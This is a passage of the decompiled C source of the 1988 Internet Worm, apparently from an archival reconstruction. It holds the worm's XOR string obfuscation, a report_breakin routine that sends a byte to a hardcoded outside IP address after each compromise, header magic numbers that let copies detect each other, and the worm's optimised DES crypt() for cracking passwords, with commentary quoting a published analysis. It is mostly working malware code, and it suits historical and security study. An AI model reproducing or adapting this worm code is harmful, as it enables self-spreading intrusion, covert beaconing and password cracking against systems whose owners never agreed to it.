	if (hg() == 0 && hi() == 0 && ha() == 0)
	    hl();
	other_sleep(120);
	time(&time1);
	if (time1 - time0 >= 60*60*12)
	    h_clean();
	if (pleasequit && nextw > 0)
	    exit(0);
    }
}

static trans_cnt;
static char trans_buf[NCARGS];

char *XS(str1)			/* 0x23fc */
     char *str1;
{
    int i, len;
    char *newstr;
#ifndef ENCYPHERED_STRINGS
    return str1;
#else  
    len = strlen(str1);
    if (len + 1 > NCARGS - trans_cnt)
	trans_cnt = 0;
    newstr = &trans_buf[trans_cnt];
    trans_cnt += 1 + len;
    for (i = 0; str1[i]; i++)
	newstr[i] = str1[i]^0x81;
    newstr[i] = '\0';
    return newstr;
#endif
}

/* This report a sucessful breakin by sending a single byte to "128.32.137.13"
 * (whoever that is). */

static report_breakin(arg1, arg2)		/* 0x2494 */
{
    int s;
    struct sockaddr_in sin;
    char msg;
    
    if (7 != random() % 15)
	return;
    
    bzero(&sin, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = REPORT_PORT;
    sin.sin_addr.s_addr = inet_addr(XS("128.32.137.13"));
						/* <env+77>"128.32.137.13" */
    
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
	return;
    if (sendto(s, &msg, 1, 0, &sin, sizeof(sin)))
	;
    close(s);
}

/* End of first file in the original source.
 * (Indicated by extra zero word in text area.) */

/*
 * Local variables:
 * compile-command: "make"
 * comment-column: 48
 * End:
 */
<--------- EOF --------->

<--------- WORM.H --------->
/* Magic numbers the program uses to identify other copies of itself. */

#define REPORT_PORT 0x2c5d
#define MAGIC_1 0x00148898
#define MAGIC_2 0x00874697
extern int pleasequit;		/* This stops the program after one
				 * complete pass if set.  It is incremented
				 * inside of checkother if contact with another
				 * happens. */

/* There are pieces of "stub" code, presumably from something like this to
   get rid of error messages */
#define error()

/* This appears to be a structure unique to this program.  It doesn't seem that
 * the blank slots are really an array of characters for the hostname, but
 * maybe they are.
 */
struct hst {
    char *hostname;
    int l4, l8, l12, l16, l20, l24, o28, o32, o36, o40, o44;
    int o48[6];					/* used */
    int flag;					/* used */
#define HST_HOSTEQUIV	8
#define HST_HOSTFOUR	4
#define HST_HOSTTWO	2
    struct hst *next;				/* o76 */
};

typedef struct {
    char *name;
    unsigned long size;
    char *buf;
} object;

extern struct ifses {
    int if_l0, if_l4, if_l8, if_l12; /* unused */
    int if_l16;			/* used */
    int if_l20;			/* unused */
    int if_l24;			/* used */
    short if_l28;		/* unused */
} ifs[];
extern nifs;

extern int ngateways;

extern object objects[], *getobjectbyname();
extern int nobjects;

/* Only used for a2in().  Why?  I don't know. */
struct bar {int baz;};
extern struct bar *a2in();
<--------- EOF --------->

<--------- WORMDES.C --------->
/* INTERNET WORM CRYPT() ROUTINE
notes from 'Password Cracking: A Game of Wits' by Donn Seeley CACM,
June89 v32n6 pp700-703 : The Worm's crypt algorithm appears to be a
compramise between time	and space: the time needed to encrypt one
password guess verses the substantial extra table space	needed to
squeeze	performance out	of the algorithm...The traditional UNIX
algorithm stores each bit of the password in a byte, while the worms
algorithm packs	packs the bits into into two 32-bit words. This
permits	the worms algorithm to use bitfield and	shift operations on
the password data. (also saves a little	space!)
  Other	speedups include unrolling loops, combining tables,
precomputing shifts and	masks, and eliminating redundant initial and
final permutations when	performing the 25 applications of modified
DES that the password encryption algorithm uses.
  The biggest performance improvement comes from combining
permutations: the worm uses expanded arrays which are indexed by
groups of bits rather than single bits.
  Bishops DESZIP.c does	all these things and also precomputes more
functions yielding twice the performance of the	worms algorithm, but
requiring nearly 200KB of initialized data as opposed to the 6KB
used by	the worm, and the less than 2KB	used by	the normal crypt().
  The worms version of crypt ran 9 times faster	than the normal	crypt
while DESZIP runs about	20 time	faster (FDES + DESZIP are about
equivalent). on	a VAX 6800 encrypting 271 passwords it took the	worms
crypt less than	6 seconds or 45	passwords per sec, and the normal
crypt took 54 seconds or 5 passwords per second. - Tangent */

static	char	e[48] =	{			/* 0x20404 */
    31,	 0,  1,	 2,  3,	 4,  3,	 4,
    5,	 6,  7,	 8,  7,	 8,  9,	10,
    11,	12, 11,	12, 13,	14, 15,	16,
    15,	16, 17,	18, 19,	20, 19,	20,
    21,	22, 23,	24, 23,	24, 25,	26,
    27,	28, 27,	28, 29,	30, 31,	 0,
};
 
int shift[16] =	{					/* 0x20434 */
	1,1,2,2, 2,2,2,2, 1,2,2,2, 2,2,2,1,
};
int ip_L0[] = {
   0x00000008,	 0x00000008,   0x08000808,   0x08000808,
   0x00000008,	 0x00000008,   0x08000808,   0x08000808,};
int ip_L1[] = {
   0x00000000,	 0x00080000,   0x00000000,   0x00080000,
   0x08000000,	 0x08080000,   0x08000000,   0x08080000,
   0x00000000,	 0x00080000,   0x00000000,   0x00080000,
   0x08000000,	 0x08080000,   0x08000000,   0x08080000,};
int ip_L2[] = {
   0x00000004,	 0x00000004,   0x04000404,   0x04000404,
   0x00000004,	 0x00000004,   0x04000404,   0x04000404,};
int ip_L3[] = {
   0x00000000,	 0x00040000,   0x00000000,   0x00040000,
   0x04000000,	 0x04040000,   0x04000000,   0x04040000,
   0x00000000,	 0x00040000,   0x00000000,   0x00040000,
   0x04000000,	 0x04040000,   0x04000000,   0x04040000,};
int ip_L4[] = {
   0x00000002,	 0x00000002,   0x02000202,   0x02000202,
   0x00000002,	 0x00000002,   0x02000202,   0x02000202,};
int ip_L5[] = {
   0x00000000,	 0x00020000,   0x00000000,   0x00020000,
   0x02000000,	 0x02020000,   0x02000000,   0x02020000,
   0x00000000,	 0x00020000,   0x00000000,   0x00020000,
   0x02000000,	 0x02020000,   0x02000000,   0x02020000,};
int ip_L6[] = {
   0x00000001,	 0x00000001,   0x01000101,   0x01000101,
   0x00000001,	 0x00000001,   0x01000101,   0x01000101,};
int ip_L7[] = {
   0x00000000,	 0x00010000,   0x00000000,   0x00010000,
   0x01000000,	 0x01010000,   0x01000000,   0x01010000,
   0x00000000,	 0x00010000,   0x00000000,   0x00010000,
   0x01000000,	 0x01010000,   0x01000000,   0x01010000,};
int ip_L8[] = {
   0x00000080,	 0x00000080,   0x80008080,   0x80008080,
   0x00000080,	 0x00000080,   0x80008080,   0x80008080,};
int ip_L9[] = {
   0x00000000,	 0x00800000,   0x00000000,   0x00800000,
   0x80000000,	 0x80800000,   0x80000000,   0x80800000,
   0x00000000,	 0x00800000,   0x00000000,   0x00800000,
   0x80000000,	 0x80800000,   0x80000000,   0x80800000,};
int ip_La[] = {
   0x00000040,	 0x00000040,   0x40004040,   0x40004040,
   0x00000040,	 0x00000040,   0x40004040,   0x40004040,};
int ip_Lb[] = {
   0x00000000,	 0x00400000,   0x00000000,   0x00400000,
   0x40000000,	 0x40400000,   0x40000000,   0x40400000,
   0x00000000,	 0x00400000,   0x00000000,   0x00400000,
   0x40000000,	 0x40400000,   0x40000000,   0x40400000,};
int ip_Lc[] = {
   0x00000020,	 0x00000020,   0x20002020,   0x20002020,
   0x00000020,	 0x00000020,   0x20002020,   0x20002020,};
int ip_Ld[] = {
   0x00000000,	 0x00200000,   0x00000000,   0x00200000,
   0x20000000,	 0x20200000,   0x20000000,   0x20200000,
   0x00000000,	 0x00200000,   0x00000000,   0x00200000,
   0x20000000,	 0x20200000,   0x20000000,   0x20200000,};
int ip_Le[] = {
   0x00000010,	 0x00000010,   0x10001010,   0x10001010,
   0x00000010,	 0x00000010,   0x10001010,   0x10001010,};
int ip_Lf[] = {
   0x00000000,	 0x00100000,   0x00000000,   0x00100000,
   0x10000000,	 0x10100000,   0x10000000,   0x10100000,

   0x00000000,	 0x00100000,   0x00000000,   0x00100000,
   0x10000000,	 0x10100000,   0x10000000,   0x10100000,};
int ip_H0[] = {
   0x00000000,	 0x00080008,   0x00000000,   0x00080008,
   0x08000800,	 0x08080808,   0x08000800,   0x08080808,};
int ip_H1[] = {
   0x00000000,	 0x00000000,   0x00080000,   0x00080000,
   0x00000000,	 0x00000000,   0x00080000,   0x00080000,
   0x08000000,	 0x08000000,   0x08080000,   0x08080000,
   0x08000000,	 0x08000000,   0x08080000,   0x08080000,};
int ip_H2[] = {
   0x00000000,	 0x00040004,   0x00000000,   0x00040004,
   0x04000400,	 0x04040404,   0x04000400,   0x04040404,};
int ip_H3[] = {
   0x00000000,	 0x00000000,   0x00040000,   0x00040000,
   0x00000000,	 0x00000000,   0x00040000,   0x00040000,
   0x04000000,	 0x04000000,   0x04040000,   0x04040000,
   0x04000000,	 0x04000000,   0x04040000,   0x04040000,};
int ip_H4[] = {
   0x00000000,	 0x00020002,   0x00000000,   0x00020002,
   0x02000200,	 0x02020202,   0x02000200,   0x02020202,};
int ip_H5[] = {
   0x00000000,	 0x00000000,   0x00020000,   0x00020000,
   0x00000000,	 0x00000000,   0x00020000,   0x00020000,
   0x02000000,	 0x02000000,   0x02020000,   0x02020000,
   0x02000000,	 0x02000000,   0x02020000,   0x02020000,};
int ip_H6[] = {
   0x00000000,	 0x00010001,   0x00000000,   0x00010001,
   0x01000100,	 0x01010101,   0x01000100,   0x01010101,};
int ip_H7[] = {
   0x00000000,	 0x00000000,   0x00010000,   0x00010000,
   0x00000000,	 0x00000000,   0x00010000,   0x00010000,
   0x01000000,	 0x01000000,   0x01010000,   0x01010000,
   0x01000000,	 0x01000000,   0x01010000,   0x01010000,};
int ip_H8[] = {
   0x00000000,	 0x00800080,   0x00000000,   0x00800080,
   0x80008000,	 0x80808080,   0x80008000,   0x80808080,};
int ip_H9[] = {
   0x00000000,	 0x00000000,   0x00800000,   0x00800000,
   0x00000000,	 0x00000000,   0x00800000,   0x00800000,
   0x80000000,	 0x80000000,   0x80800000,   0x80800000,
   0x80000000,	 0x80000000,   0x80800000,   0x80800000,};
int ip_Ha[] = {
   0x00000000,	 0x00400040,   0x00000000,   0x00400040,
   0x40004000,	 0x40404040,   0x40004000,   0x40404040,};
int ip_Hb[] = {
   0x00000000,	 0x00000000,   0x00400000,   0x00400000,
   0x00000000,	 0x00000000,   0x00400000,   0x00400000,
   0x40000000,	 0x40000000,   0x40400000,   0x40400000,
   0x40000000,	 0x40000000,   0x40400000,   0x40400000,};
int ip_Hc[] = {
   0x00000000,	 0x00200020,   0x00000000,   0x00200020,
   0x20002000,	 0x20202020,   0x20002000,   0x20202020,};
int ip_Hd[] = {
   0x00000000,	 0x00000000,   0x00200000,   0x00200000,
   0x00000000,	 0x00000000,   0x00200000,   0x00200000,
   0x20000000,	 0x20000000,   0x20200000,   0x20200000,
   0x20000000,	 0x20000000,   0x20200000,   0x20200000,};
int ip_He[] = {
   0x00000000,	 0x00100010,   0x00000000,   0x00100010,
   0x10001000,	 0x10101010,   0x10001000,   0x10101010,};
int ip_Hf[] = {
   0x00000000,	 0x00000000,   0x00100000,   0x00100000,
   0x00000000,	 0x00000000,   0x00100000,   0x00100000,
   0x10000000,	 0x10000000,   0x10100000,   0x10100000,
   0x10000000,	 0x10000000,   0x10100000,   0x10100000,};
int ipi_L0[] = {
   0x00000000,	 0x01000000,   0x00010000,   0x01010000,
   0x00000100,	 0x01000100,   0x00010100,   0x01010100,
   0x00000001,	 0x01000001,   0x00010001,   0x01010001,
   0x00000101,	 0x01000101,   0x00010101,   0x01010101,};
int ipi_L2[] = {
   0x00000000,	 0x04000000,   0x00040000,   0x04040000,
   0x00000400,	 0x04000400,   0x00040400,   0x04040400,
   0x00000004,	 0x04000004,   0x00040004,   0x04040004,
   0x00000404,	 0x04000404,   0x00040404,   0x04040404,};
int ipi_L4[] = {
   0x00000000,	 0x10000000,   0x00100000,   0x10100000,
   0x00001000,	 0x10001000,   0x00101000,   0x10101000,
   0x00000010,	 0x10000010,   0x00100010,   0x10100010,
   0x00001010,	 0x10001010,   0x00101010,   0x10101010,};
int ipi_L6[] = {
   0x00000000,	 0x40000000,   0x00400000,   0x40400000,
   0x00004000,	 0x40004000,   0x00404000,   0x40404000,
   0x00000040,	 0x40000040,   0x00400040,   0x40400040,
   0x00004040,	 0x40004040,   0x00404040,   0x40404040,};
int ipi_L8[] = {
   0x00000000,	 0x02000000,   0x00020000,   0x02020000,
   0x00000200,	 0x02000200,   0x00020200,   0x02020200,
   0x00000002,	 0x02000002,   0x00020002,   0x02020002,
   0x00000202,	 0x02000202,   0x00020202,   0x02020202,};
int ipi_La[] = {
   0x00000000,	 0x08000000,   0x00080000,   0x08080000,
   0x00000800,	 0x08000800,   0x00080800,   0x08080800,
   0x00000008,	 0x08000008,   0x00080008,   0x08080008,
   0x00000808,	 0x08000808,   0x00080808,   0x08080808,};
int ipi_Lc[] = {
   0x00000000,	 0x20000000,   0x00200000,   0x20200000,
   0x00002000,	 0x20002000,   0x00202000,   0x20202000,
   0x00000020,	 0x20000020,   0x00200020,   0x20200020,
   0x00002020,	 0x20002020,   0x00202020,   0x20202020,};
int ipi_Le[] = {
   0x00000000,	 0x80000000,   0x00800000,   0x80800000,
   0x00008000,	 0x80008000,   0x00808000,   0x80808000,
   0x00000080,	 0x80000080,   0x00800080,   0x80800080,
   0x00008080,	 0x80008080,   0x00808080,   0x80808080,};
int ipi_H1[] = {
   0x00000000,	 0x01000000,   0x00010000,   0x01010000,
   0x00000100,	 0x01000100,   0x00010100,   0x01010100,
   0x00000001,	 0x01000001,   0x00010001,   0x01010001,
   0x00000101,	 0x01000101,   0x00010101,   0x01010101,};
int ipi_H3[] = {
   0x00000000,	 0x04000000,   0x00040000,   0x04040000,
   0x00000400,	 0x04000400,   0x00040400,   0x04040400,
   0x00000004,	 0x04000004,   0x00040004,   0x04040004,
   0x00000404,	 0x04000404,   0x00040404,   0x04040404,};
int ipi_H5[] = {
   0x00000000,	 0x10000000,   0x00100000,   0x10100000,
   0x00001000,	 0x10001000,   0x00101000,   0x10101000,
   0x00000010,	 0x10000010,   0x00100010,   0x10100010,
   0x00001010,	 0x10001010,   0x00101010,   0x10101010,};
int ipi_H7[] = {
   0x00000000,	 0x40000000,   0x00400000,   0x40400000,
   0x00004000,	 0x40004000,   0x00404000,   0x40404000,
   0x00000040,	 0x40000040,   0x00400040,   0x40400040,
   0x00004040,	 0x40004040,   0x00404040,   0x40404040,};
int ipi_H9[] = {
   0x00000000,	 0x02000000,   0x00020000,   0x02020000,
   0x00000200,	 0x02000200,   0x00020200,   0x02020200,
   0x00000002,	 0x02000002,   0x00020002,   0x02020002,
   0x00000202,	 0x02000202,   0x00020202,   0x02020202,};
int ipi_Hb[] = {
   0x00000000,	 0x08000000,   0x00080000,   0x08080000,
   0x00000800,	 0x08000800,   0x00080800,   0x08080800,
   0x00000008,	 0x08000008,   0x00080008,   0x08080008,
   0x00000808,	 0x08000808,   0x00080808,   0x08080808,};
int ipi_Hd[] = {
   0x00000000,	 0x20000000,   0x00200000,   0x20200000,
   0x00002000,	 0x20002000,   0x00202000,   0x20202000,
   0x00000020,	 0x20000020,   0x00200020,   0x20200020,
   0x00002020,	 0x20002020,   0x00202020,   0x20202020,};
int ipi_Hf[] = {
   0x00000000,	 0x80000000,   0x00800000,   0x80800000,
   0x00008000,	 0x80008000,   0x00808000,   0x80808000,
   0x00000080,	 0x80000080,   0x00800080,   0x80800080,
   0x00008080,	 0x80008080,   0x00808080,   0x80808080,};
int SP0[] = {
   0x08000820,	 0x00000800,   0x00020000,   0x08020820,
   0x08000000,	 0x08000820,   0x00000020,   0x08000000,
   0x00020020,	 0x08020000,   0x08020820,   0x00020800,
   0x08020800,	 0x00020820,   0x00000800,   0x00000020,
   0x08020000,	 0x08000020,   0x08000800,   0x00000820,
   0x00020800,	 0x00020020,   0x08020020,   0x08020800,
   0x00000820,	 0x00000000,   0x00000000,   0x08020020,
   0x08000020,	 0x08000800,   0x00020820,   0x00020000,
   0x00020820,	 0x00020000,   0x08020800,   0x00000800,
   0x00000020,	 0x08020020,   0x00000800,   0x00020820,
   0x08000800,	 0x00000020,   0x08000020,   0x08020000,
   0x08020020,	 0x08000000,   0x00020000,   0x08000820,
   0x00000000,	 0x08020820,   0x00020020,   0x08000020,
   0x08020000,	 0x08000800,   0x08000820,   0x00000000,
   0x08020820,	 0x00020800,   0x00020800,   0x00000820,
   0x00000820,	 0x00020020,   0x08000000,   0x08020800,};
int SP1[] = {
   0x00100000,	 0x02100001,   0x02000401,   0x00000000,
   0x00000400,	 0x02000401,   0x00100401,   0x02100400,
   0x02100401,	 0x00100000,   0x00000000,   0x02000001,
   0x00000001,	 0x02000000,   0x02100001,   0x00000401,
   0x02000400,	 0x00100401,   0x00100001,   0x02000400,
   0x02000001,	 0x02100000,   0x02100400,   0x00100001,
   0x02100000,	 0x00000400,   0x00000401,   0x02100401,
   0x00100400,	 0x00000001,   0x02000000,   0x00100400,
   0x02000000,	 0x00100400,   0x00100000,   0x02000401,
   0x02000401,	 0x02100001,   0x02100001,   0x00000001,
   0x00100001,	 0x02000000,   0x02000400,   0x00100000,
   0x02100400,	 0x00000401,   0x00100401,   0x02100400,
   0x00000401,	 0x02000001,   0x02100401,   0x02100000,
   0x00100400,	 0x00000000,   0x00000001,   0x02100401,
   0x00000000,	 0x00100401,   0x02100000,   0x00000400,
   0x02000001,	 0x02000400,   0x00000400,   0x00100001,};
int SP2[] = {
   0x10000008,	 0x10200000,   0x00002000,   0x10202008,
   0x10200000,	 0x00000008,   0x10202008,   0x00200000,
   0x10002000,	 0x00202008,   0x00200000,   0x10000008,
   0x00200008,	 0x10002000,   0x10000000,   0x00002008,
   0x00000000,	 0x00200008,   0x10002008,   0x00002000,
   0x00202000,	 0x10002008,   0x00000008,   0x10200008,
   0x10200008,	 0x00000000,   0x00202008,   0x10202000,
   0x00002008,	 0x00202000,   0x10202000,   0x10000000,
   0x10002000,	 0x00000008,   0x10200008,   0x00202000,
   0x10202008,	 0x00200000,   0x00002008,   0x10000008,
   0x00200000,	 0x10002000,   0x10000000,   0x00002008,
   0x10000008,	 0x10202008,   0x00202000,   0x10200000,
   0x00202008,	 0x10202000,   0x00000000,   0x10200008,
   0x00000008,	 0x00002000,   0x10200000,   0x00202008,
   0x00002000,	 0x00200008,   0x10002008,   0x00000000,
   0x10202000,	 0x10000000,   0x00200008,   0x10002008,};
int SP3[] = {
   0x00000080,	 0x01040080,   0x01040000,   0x21000080,
   0x00040000,	 0x00000080,   0x20000000,   0x01040000,
   0x20040080,	 0x00040000,   0x01000080,   0x20040080,
   0x21000080,	 0x21040000,   0x00040080,   0x20000000,
   0x01000000,	 0x20040000,   0x20040000,   0x00000000,
   0x20000080,	 0x21040080,   0x21040080,   0x01000080,
   0x21040000,	 0x20000080,   0x00000000,   0x21000000,
   0x01040080,	 0x01000000,   0x21000000,   0x00040080,
   0x00040000,	 0x21000080,   0x00000080,   0x01000000,
   0x20000000,	 0x01040000,   0x21000080,   0x20040080,
   0x01000080,	 0x20000000,   0x21040000,   0x01040080,
   0x20040080,	 0x00000080,   0x01000000,   0x21040000,
   0x21040080,	 0x00040080,   0x21000000,   0x21040080,
   0x01040000,	 0x00000000,   0x20040000,   0x21000000,
   0x00040080,	 0x01000080,   0x20000080,   0x00040000,
   0x00000000,	 0x20040000,   0x01040080,   0x20000080,};
int SP4[] = {
   0x80401000,	 0x80001040,   0x80001040,   0x00000040,
   0x00401040,	 0x80400040,   0x80400000,   0x80001000,
   0x00000000,	 0x00401000,   0x00401000,   0x80401040,
   0x80000040,	 0x00000000,   0x00400040,   0x80400000,
   0x80000000,	 0x00001000,   0x00400000,   0x80401000,
   0x00000040,	 0x00400000,   0x80001000,   0x00001040,
   0x80400040,	 0x80000000,   0x00001040,   0x00400040,
   0x00001000,	 0x00401040,   0x80401040,   0x80000040,
   0x00400040,	 0x80400000,   0x00401000,   0x80401040,
   0x80000040,	 0x00000000,   0x00000000,   0x00401000,
   0x00001040,	 0x00400040,   0x80400040,   0x80000000,
   0x80401000,	 0x80001040,   0x80001040,   0x00000040,
   0x80401040,	 0x80000040,   0x80000000,   0x00001000,
   0x80400000,	 0x80001000,   0x00401040,   0x80400040,
   0x80001000,	 0x00001040,   0x00400000,   0x80401000,
   0x00000040,	 0x00400000,   0x00001000,   0x00401040,};
int SP5[] = {
   0x00000104,	 0x04010100,   0x00000000,   0x04010004,
   0x04000100,	 0x00000000,   0x00010104,   0x04000100,
   0x00010004,	 0x04000004,   0x04000004,   0x00010000,
   0x04010104,	 0x00010004,   0x04010000,   0x00000104,
   0x04000000,	 0x00000004,   0x04010100,   0x00000100,
   0x00010100,	 0x04010000,   0x04010004,   0x00010104,
   0x04000104,	 0x00010100,   0x00010000,   0x04000104,
   0x00000004,	 0x04010104,   0x00000100,   0x04000000,
   0x04010100,	 0x04000000,   0x00010004,   0x00000104,
   0x00010000,	 0x04010100,   0x04000100,   0x00000000,
   0x00000100,	 0x00010004,   0x04010104,   0x04000100,
   0x04000004,	 0x00000100,   0x00000000,   0x04010004,
   0x04000104,	 0x00010000,   0x04000000,   0x04010104,
   0x00000004,	 0x00010104,   0x00010100,   0x04000004,
   0x04010000,	 0x04000104,   0x00000104,   0x04010000,
   0x00010104,	 0x00000004,   0x04010004,   0x00010100,};
int SP6[] = {
   0x40084010,	 0x40004000,   0x00004000,   0x00084010,
   0x00080000,	 0x00000010,   0x40080010,   0x40004010,
   0x40000010,	 0x40084010,   0x40084000,   0x40000000,
   0x40004000,	 0x00080000,   0x00000010,   0x40080010,
   0x00084000,	 0x00080010,   0x40004010,   0x00000000,
   0x40000000,	 0x00004000,   0x00084010,   0x40080000,
   0x00080010,	 0x40000010,   0x00000000,   0x00084000,
   0x00004010,	 0x40084000,   0x40080000,   0x00004010,
   0x00000000,	 0x00084010,   0x40080010,   0x00080000,
   0x40004010,	 0x40080000,   0x40084000,   0x00004000,
   0x40080000,	 0x40004000,   0x00000010,   0x40084010,
   0x00084010,	 0x00000010,   0x00004000,   0x40000000,
   0x00004010,	 0x40084000,   0x00080000,   0x40000010,
   0x00080010,	 0x40004010,   0x40000010,   0x00080010,
   0x00084000,	 0x00000000,   0x40004000,   0x00004010,
   0x40000000,	 0x40080010,   0x40084010,   0x00084000,};
int SP7[] = {
   0x00808200,	 0x00000000,   0x00008000,   0x00808202,
   0x00808002,	 0x00008202,   0x00000002,   0x00008000,
   0x00000200,	 0x00808200,   0x00808202,   0x00000200,
   0x00800202,	 0x00808002,   0x00800000,   0x00000002,
   0x00000202,	 0x00800200,   0x00800200,   0x00008200,
   0x00008200,	 0x00808000,   0x00808000,   0x00800202,
   0x00008002,	 0x00800002,   0x00800002,   0x00008002,
   0x00000000,	 0x00000202,   0x00008202,   0x00800000,
   0x00008000,	 0x00808202,   0x00000002,   0x00808000,
   0x00808200,	 0x00800000,   0x00800000,   0x00000200,
   0x00808002,	 0x00008000,   0x00008200,   0x00800002,
   0x00000200,	 0x00000002,   0x00800202,   0x00008202,
   0x00808202,	 0x00008002,   0x00808000,   0x00800202,
   0x00800002,	 0x00000202,   0x00008202,   0x00808200,
   0x00000202,	 0x00800200,   0x00800200,   0x00000000,
   0x00008002,	 0x00008200,   0x00000000,   0x00808002,};
int PC1[] = {
   0x10000000,	 0x00000000,   0x00100000,   0x00000000,
   0x00001000,	 0x00000000,   0x00000010,   0x00000000,
   0x00000000,	 0x00010000,   0x00000000,   0x01000000,
   0x00000001,	 0x00000000,   0x00000000,   0x00000000,
   0x20000000,	 0x00000000,   0x00200000,   0x00000000,
   0x00002000,	 0x00000000,   0x00000020,   0x00000000,
   0x00000000,	 0x00020000,   0x00000000,   0x02000000,
   0x00000002,	 0x00000000,   0x00000000,   0x00000000,
   0x40000000,	 0x00000000,   0x00400000,   0x00000000,
   0x00004000,	 0x00000000,   0x00000040,   0x00000000,
   0x00000000,	 0x00040000,   0x00000000,   0x04000000,
   0x00000004,	 0x00000000,   0x00000000,   0x00000000,
   0x80000000,	 0x00000000,   0x00800000,   0x00000000,
   0x00008000,	 0x00000000,   0x00000080,   0x00000000,
   0x00000000,	 0x00080000,   0x00000000,   0x08000000,
   0x00000008,	 0x00000000,   0x00000000,   0x00000000,
   0x01000000,	 0x00000000,   0x00010000,   0x00000000,
   0x00000100,	 0x00000000,   0x00000000,   0x00000100,
   0x00000000,	 0x00001000,   0x00000000,   0x00100000,
   0x00000000,	 0x10000000,   0x00000000,   0x00000000,
   0x02000000,	 0x00000000,   0x00020000,   0x00000000,
   0x00000200,	 0x00000000,   0x00000000,   0x00000200,
   0x00000000,	 0x00002000,   0x00000000,   0x00200000,
   0x00000000,	 0x20000000,   0x00000000,   0x00000000,
   0x04000000,	 0x00000000,   0x00040000,   0x00000000,
   0x00000400,	 0x00000000,   0x00000000,   0x00000400,
   0x00000000,	 0x00004000,   0x00000000,   0x00400000,
   0x00000000,	 0x40000000,   0x00000000,   0x00000000,
   0x08000000,	 0x00000000,   0x00080000,   0x00000000,
   0x00000800,	 0x00000000,   0x00000000,   0x00000800,
   0x00000000,	 0x00008000,   0x00000000,   0x00800000,
   0x00000000,	 0x80000000,   0x00000000,   0x00000000,};
int PC2[] = {
   0x00000000,	 0x20000000,   0x00000000,   0x00800000,
   0x00000000,	 0x00000000,   0x00000000,   0x00040000,
   0x00000010,	 0x00000000,   0x00000000,   0x00000000,
   0x00000000,	 0x02000000,   0x00000001,   0x00000000,
   0x00000080,	 0x00000000,   0x00000000,   0x00100000,
   0x00000000,	 0x00000000,   0x00000000,   0x08000000,
   0x00000000,	 0x40000000,   0x00000000,   0x00200000,
   0x00000008,	 0x00000000,   0x00000000,   0x10000000,
   0x00000000,	 0x04000000,   0x00000000,   0x00080000,
   0x00000000,	 0x80000000,   0x00000040,   0x00000000,
   0x00000000,	 0x00400000,   0x00000000,   0x00000000,
   0x00000004,	 0x00000000,   0x00000000,   0x01000000,
   0x00000000,	 0x00000000,   0x00000000,   0x00000000,
   0x00000000,	 0x00000000,   0x00000000,   0x00000000,
   0x00000000,	 0x00000000,   0x00000000,   0x00000000,
   0x00000000,	 0x00000000,   0x00000000,   0x00000000,
   0x08000000,	 0x00000000,   0x00000100,   0x00000000,
   0x02000000,	 0x00000000,   0x00010000,   0x00000000,
   0x04000000,	 0x00000000,   0x00400000,   0x00000000,
   0x00001000,	 0x00000000,   0x00004000,   0x00000000,
   0x00000000,	 0x00000000,   0x00100000,   0x00000000,
   0x20000000,	 0x00000000,   0x00020000,   0x00000000,
   0x00000200,	 0x00000000,   0x80000000,   0x00000000,
   0x00800000,	 0x00000000,   0x00002000,   0x00000000,
   0x40000000,	 0x00000000,   0x00000000,   0x00000000,
   0x00040000,	 0x00000000,   0x00000400,   0x00000000,
   0x00200000,	 0x00000000,   0x00000000,   0x00000000,
   0x00080000,	 0x00000000,   0x10000000,   0x00000000,
   0x00000000,	 0x00000000,   0x00008000,   0x00000000,
   0x00000800,	 0x00000000,   0x01000000,   0x00000000,
   0x00000000,	 0x00020000,   0x00000002,   0x00000000,
   0x00000020,	 0x00000000,   0x00000000,   0x00010000,};
 
static extra;
char E[48];					/* 0x255c4 */
 
char *crypt(passwd, salt)			/* 0x68f8 */
     char *passwd, *salt;
{
    int	temp, l8;
    register i,	j;
    register  c;				/*d7, d6, d5*/
    static char	iobuf[10];			/* 0x27f34 */
    static unsigned x27f44;
    static unsigned x27f48;
 
    x27f44 = 0;
    x27f48 = 0;
 
    for( i = 0;	i < 48;	i++)
	E[i] = e[i];
 
    for(i = 0; (c = *passwd)  &&  (i < 32); i++, passwd++)
	for(j =	0; j < 7; j++, i++) {
	    l8 = (c >> (6 - j))	& 01;
	    x27f44 |= (l8 << (31 - i));
	}
 
    for	(i = 0;	(c = *passwd)  &&  (i <	32); i++, passwd++)
	for(j =	0; j < 7; j++, i++) {
	    l8 = (c >> (6 - j))	& 01;
	    x27f48 |= (l8 << (31 - i));
	}
 
    compkeys(&x27f44, 0);
 
    for(i=0;i<2;i++){
	c = *salt++;
	iobuf[i] = c;
	if(c>'Z') c -= 6;
	if(c>'9') c -= 7;
	c -= '.';
	for(j=0;j<6;j++){
	    if((c>>j) &	01){
		temp = E[6*i+j];
		E[6*i+j] = E[6*i+j+24];
		E[6*i+j+24] = temp;
	    }
	}
    }
 
    mungE();
    x27f44 = 0;
    x27f48 = 0;
    des(&x27f44, &x27f44);
    ipi(&x27f44, &x27f44);
 
    for(i=0; i<11; i++){
	c = x27f44 >> 26;
	x27f44	= x27f44 << 6;
	x27f44 |= x27f48 >> 26;
	x27f48 = x27f48	<< 6;
	c += '.';
	if(c > '9') c += 7;
	if(c > 'Z') c += 6;
	iobuf[i+2] = c;
    }
    iobuf[i+2] = 0;
    if(iobuf[1]	== 0)
	iobuf[1] = iobuf[0];
    return(iobuf);
}
 
int E_H[8][16];					/* 0x251c4 */
int E_L[8][16];					/* 0x253c4 */
mungE()						/* 0x6b2a */
{
    register i,	j, d5, d4, d3, d2;
    register *a5, *a4;
    int	l28;
 
    for(i = 0; i < 8; i++) {
	a5 = E_L[i];
	a4 = E_H[i];
	for(j =	0; j < 16; j++)	{
	    *a5++ = 0;
	    *a4++ = 0;
	}
    }
    for	(j = 0;	j < 32;	j++) {
	d2 = 1 << (31 -	j);
	d3 = 31	- E[j];
	d4 = 1 << (d3 &	3);
	a5 = E_L[d3 >> 2];
	for (i = 1; i <	16; i++)
	    if (i & d4)
		a5[i] |= d2;
    }
    for	(j = 32; j < 48; j++) {
	d2 = 1 << (63-j);
	d3 = 31	- E[j];
	d4 = 1 << (d3 &	3);
	a5 = E_H[d3 >> 2];
	for (i = 1; i <	16; i++)
	    if (i & d4)
		a5[i] |= d2;
    }
}
 
int keys_H[16],	keys_L[16];			/* 0x255f4,0x25634 */
 
compkeys(iptr, key)					/* 0x6c04 */
     int *iptr;
{
    int	i, l8, l12, l16;
    register d7, d6, d5, d4, d3, d2;
 
    d7 = 0;
    d6 = 0;
    for	(d3 = 0, d2 = iptr[1];	d3 < 64; d2*=2,	d3+=2)
	if (d2 < 0) {
	    d7 |= PC1[d3];
